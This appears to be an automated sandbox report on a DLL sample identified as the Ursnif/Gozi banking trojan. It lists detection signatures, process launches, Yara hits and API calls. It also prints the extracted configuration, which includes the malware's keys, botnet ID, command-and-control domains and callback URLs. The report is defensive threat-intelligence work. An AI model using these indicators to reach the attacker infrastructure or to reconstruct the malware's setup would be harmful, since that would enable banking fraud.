Play interactive tour

Edit tour

Analysis Report swlsGbeQwT.dll

Overview

General Information

Sample Name:	swlsGbeQwT.dll
Analysis ID:	381725
MD5:	bedfac54b06b97b4de8132d6bfd40de0
SHA1:	e238b2b47e1ccb3ebdadb82eff72125f4747a014
SHA256:	22682ac6f8c484759f44786cc73109993d858a29b25fa1512196154cf2f0299c
Tags:	dllGoziISFBUrsnif
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Ursnif

Machine Learning detection for sample

Writes or reads registry keys via WMI

Writes registry values via WMI

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 6104 cmdline: loaddll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 4832 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 3512 cmdline: rundll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5076 cmdline: rundll32.exe C:\Users\user\Desktop\swlsGbeQwT.dll,StartService MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

iexplore.exe (PID: 6320 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 6392 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6320 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5316 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 5340 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5316 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5736 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5316 CREDAT:17416 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

cleanup

Malware Configuration

Threatname: Ursnif

[[{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000005.00000003.332207803.0000000005AE8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000004.00000002.228615251.0000000001180000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000001.00000003.283968924.0000000003138000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.283941629.0000000003138000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.283743972.0000000003138000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.332108826.0000000005AE8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.332246641.0000000005AE8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.332181859.0000000005AE8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.283981792.0000000003138000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000002.463340848.0000000003570000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000005.00000003.332262549.0000000005AE8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.332227355.0000000005AE8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000002.462142613.00000000009C0000.00000004.00000001.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000001.00000003.283911802.0000000003138000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.283659543.0000000003138000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.332279933.0000000005AE8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.332152085.0000000005AE8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.283820403.0000000003138000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.327016038.0000000002FBB000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.406489118.0000000002EBD000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000001.00000003.283873534.0000000003138000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 6104	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 3512	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.rundll32.exe.1180000.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
1.2.loaddll32.exe.9c0000.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
5.2.rundll32.exe.3570000.3.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
5.2.rundll32.exe.10000000.5.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
1.2.loaddll32.exe.10000000.4.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 5.2.rundll32.exe.3570000.3.raw.unpack

Malware Configuration Extractor: Ursnif [[{"RSA Public Key": "Om1HeBhXBR6NHvmWFG5B2kyl5mdcRMsb8ux2uo9VgGW0O2LzHZKk3w9bxw9stgphU0ayytcOYkK6GCNJlKSeMTZJ5WPgZiX+MaXiUccStEUTXkW1ubp0gdr16sb5U4M+rzWWPvc3s7bj9o1yqSJtP7PmMVp7E+3llLULQ9/DZbAD7SXaft6wcY8wFjSkI+8D"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Machine Learning detection for sample

Show sources

Source: swlsGbeQwT.dll

Joe Sandbox ML: detected

Source: 5.2.rundll32.exe.10000000.5.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 1.2.loaddll32.exe.10000000.4.unpack	Avira: Label: TR/Crypt.XPACK.Gen8

Source: swlsGbeQwT.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_00A112D4 RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,

1_2_00A112D4

Source: Joe Sandbox View

IP Address: 185.243.114.196 185.243.114.196

Source: Joe Sandbox View

ASN Name: ACCELERATED-ITDE ACCELERATED-ITDE

Source: global traffic

TCP traffic: 192.168.2.3:49740 -> 185.243.114.196:80

Source: msapplication.xml0.14.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xa00d7464,0x01d729a6</date><accdate>0xa00d7464,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml0.14.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xa00d7464,0x01d729a6</date><accdate>0xa00fd6c9,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml5.14.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xa0123909,0x01d729a6</date><accdate>0xa0123909,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml5.14.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xa0123909,0x01d729a6</date><accdate>0xa0123909,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml7.14.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xa0149b93,0x01d729a6</date><accdate>0xa0149b93,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: msapplication.xml7.14.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xa0149b93,0x01d729a6</date><accdate>0xa0149b93,0x01d729a6</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: login.microsoftonline.com

Source: rundll32.exe, 00000005.00000002.461626922.00000000010CA000.00000004.00000020.sdmp	String found in binary or memory: http://under17.com
Source: rundll32.exe, 00000005.00000002.461626922.00000000010CA000.00000004.00000020.sdmp	String found in binary or memory: http://under17.com/joomla/4GzHZlWwziXisjjV671v1LT/84UlNg6ksC/Tggq4HFqFymyDjTMV/yfv7eGSUkzcX/52ysYFgN
Source: {E47F4CBC-9599-11EB-90E4-ECF4BB862DED}.dat.34.dr	String found in binary or memory: http://under17.com/joomla/bY332Z6nIw/mpCJzusDxBf4026z_/2BrGN0t7fT0r/o1u_2FGT8iB/giLHX9xa5y4nT5/E4muy
Source: loaddll32.exe, 00000001.00000003.455028914.0000000000A95000.00000004.00000001.sdmp	String found in binary or memory: http://urs-world.com/joomla/LeY03GyFH8M9ux9Q/fhlrqhT7AEWHy5S/Gj6LLiVr5gZ24pcdoa/r9hh9gZTx/jUFCXHTg6g
Source: loaddll32.exe, 00000001.00000002.463517172.00000000010B0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.463533375.0000000003960000.00000002.00000001.sdmp	String found in binary or memory: http://urs-world.com/joomla/nyEGAUlxBMi/vJvW_2B31g3fIm/PJCeDCcMkYuKm3mBUGX2v/CaL9euzPRyB3Opxa/g
Source: loaddll32.exe, 00000001.00000002.462447224.0000000000A2B000.00000004.00000020.sdmp	String found in binary or memory: http://urs-world.com/joomla/nyEGAUlxBMi/vJvW_2B31g3fIm/PJCeDCcMkYuKm3mBUGX2v/CaL9euzPRyB3Opxa/gIJ_2B
Source: loaddll32.exe, 00000001.00000003.457824149.0000000000A95000.00000004.00000001.sdmp	String found in binary or memory: http://urs-world.com/joomlaaL9euzPRyB3Opxa/gIJ_2BkxmWXAk4B/fa_2B_2FtCKRxglTM9/4omZ9P4fz/YwGhMR3ktfTd
Source: msapplication.xml.14.dr	String found in binary or memory: http://www.amazon.com/
Source: msapplication.xml1.14.dr	String found in binary or memory: http://www.google.com/
Source: msapplication.xml2.14.dr	String found in binary or memory: http://www.live.com/
Source: msapplication.xml3.14.dr	String found in binary or memory: http://www.nytimes.com/
Source: msapplication.xml4.14.dr	String found in binary or memory: http://www.reddit.com/
Source: msapplication.xml5.14.dr	String found in binary or memory: http://www.twitter.com/
Source: msapplication.xml6.14.dr	String found in binary or memory: http://www.wikipedia.com/
Source: msapplication.xml7.14.dr	String found in binary or memory: http://www.youtube.com/
Source: {CA463ED7-9599-11EB-90E4-ECF4BB862DED}.dat.14.dr, ~DF018886609A78E0A2.TMP.14.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.228615251.0000000001180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.463340848.0000000003570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.462142613.00000000009C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.1180000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.9c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3570000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.332207803.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283968924.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283941629.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283743972.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332108826.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332246641.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332181859.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283981792.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332262549.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332227355.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283911802.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283659543.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332279933.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332152085.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283820403.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.327016038.0000000002FBB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.406489118.0000000002EBD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283873534.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6104, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 3512, type: MEMORY

Source: loaddll32.exe, 00000001.00000002.462447224.0000000000A2B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.228615251.0000000001180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.463340848.0000000003570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.462142613.00000000009C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.1180000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.9c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3570000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.332207803.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283968924.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283941629.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283743972.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332108826.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332246641.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332181859.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283981792.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332262549.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332227355.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283911802.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283659543.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332279933.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332152085.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283820403.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.327016038.0000000002FBB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.406489118.0000000002EBD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283873534.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6104, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 3512, type: MEMORY

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_10001D9F NtMapViewOfSection,	1_2_10001D9F
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_10001EB5 GetProcAddress,NtCreateSection,memset,	1_2_10001EB5
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_10002375 NtQueryVirtualMemory,	1_2_10002375
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00A183B7 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	1_2_00A183B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00A1B341 NtQueryVirtualMemory,	1_2_00A1B341

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C348F	1_2_024C348F
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C554B	1_2_024C554B
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859	1_2_024C4859
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C596E	1_2_024C596E
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C237B	1_2_024C237B
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C247B	1_2_024C247B
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C1374	1_2_024C1374
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C5C76	1_2_024C5C76
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C1000	1_2_024C1000
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C1918	1_2_024C1918
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C3314	1_2_024C3314
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C6424	1_2_024C6424
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C3BDB	1_2_024C3BDB
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C52EC	1_2_024C52EC
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C20EE	1_2_024C20EE
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C28EB	1_2_024C28EB
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C5AF6	1_2_024C5AF6
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C3A85	1_2_024C3A85
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C1B95	1_2_024C1B95
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C3FA8	1_2_024C3FA8
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_10002154	1_2_10002154
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00A14094	1_2_00A14094
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00A197F2	1_2_00A197F2
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00A1B11C	1_2_00A1B11C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0479348F	4_2_0479348F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0479237B	4_2_0479237B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0479247B	4_2_0479247B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04791374	4_2_04791374
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0479596E	4_2_0479596E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04794859	4_2_04794859
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0479554B	4_2_0479554B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04796424	4_2_04796424
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04791918	4_2_04791918
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04793314	4_2_04793314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04791000	4_2_04791000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04795AF6	4_2_04795AF6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_047928EB	4_2_047928EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_047952EC	4_2_047952EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_047920EE	4_2_047920EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04793BDB	4_2_04793BDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04793FA8	4_2_04793FA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04795CA5	4_2_04795CA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04791B95	4_2_04791B95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04793A85	4_2_04793A85

Source: swlsGbeQwT.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal76.troj.winDLL@15/50@9/2

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_00A1757F CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_00A1757F

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DFEE814DD0E66FBAC9.TMP

Jump to behavior

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\swlsGbeQwT.dll,StartService

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\swlsGbeQwT.dll,StartService
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll',#1
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6320 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5316 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5316 CREDAT:17416 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\swlsGbeQwT.dll,StartService	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll',#1	Jump to behavior
